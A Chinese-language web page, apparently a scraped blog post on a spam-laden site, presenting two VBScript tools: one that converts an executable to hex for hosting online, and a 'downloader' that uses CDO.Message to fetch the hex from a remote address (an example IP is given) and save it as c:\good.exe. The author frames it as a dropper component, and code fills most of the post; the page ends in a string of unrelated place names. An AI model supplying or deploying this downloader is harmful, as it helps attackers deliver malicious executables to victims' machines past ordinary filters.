佳木斯湛栽影视文化发展公司

主頁 > 知識庫 > VBS下載文件的新方法

VBS下載文件的新方法

熱門標(biāo)簽:服務(wù)器配置 呼叫中心市場需求 網(wǎng)站文章發(fā)布 銀行業(yè)務(wù) 智能手機 美圖手機 鐵路電話系統(tǒng) 檢查注冊表項
BLOG備份腳本時發(fā)現(xiàn) CDO.MESSAGE可以訪問網(wǎng)絡(luò)下載東西,說是研究研究或許可以用來當(dāng)下載者用。
于是研究了一會。寫出個粗糙的DEMO。
exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉(zhuǎn)成十六進制
================================================
復(fù)制代碼 代碼如下:

'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number>0 then
if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt 16 Then Bin2Str=Bin2Str"0"
Bin2Str=Bin2Str Hex(bt)
Next
End Function

======================================
下載者 down.vbs
=============
[code]
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ssChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm內(nèi)容時用exe2hex.vbs轉(zhuǎn)EXE后獲得的
使用方法:
1.exe2hex.vbs 把exe轉(zhuǎn)成十六進制,放到網(wǎng)絡(luò)上
2.down.vbs http://xxx/demo.htm c:\good.exe
您可能感興趣的文章:
  • 用ASP VBS xmlhttp adodbstream下載和保存圖片的代碼
  • vbs腳本病毒生成器 下載
  • vbs教程 chm下載
  • VBS 下載方法(CDO.MESSAGE)
  • vbs結(jié)合wget 實現(xiàn)下載網(wǎng)站圖片

標(biāo)簽:新疆 滄州 河南 沈陽 紅河 長治 上海 樂山

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《VBS下載文件的新方法》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    晋中市| 尖扎县| 铜陵市| 新野县| 梓潼县| 阿尔山市| 乐清市| 崇文区| 东海县| 阿拉尔市| 江达县| 陇南市| 新蔡县| 依兰县| 克拉玛依市| 金山区| 中超| 抚顺市| 高密市| 应城市| 房山区| 广宁县| 五河县| 河西区| 政和县| 新建县| 怀柔区| 格尔木市| 峨眉山市| 勃利县| 出国| 萝北县| 黎平县| 原平市| 诸暨市| 稷山县| 肥乡县| 凤冈县| 赣州市| 如皋市| 兴宁市|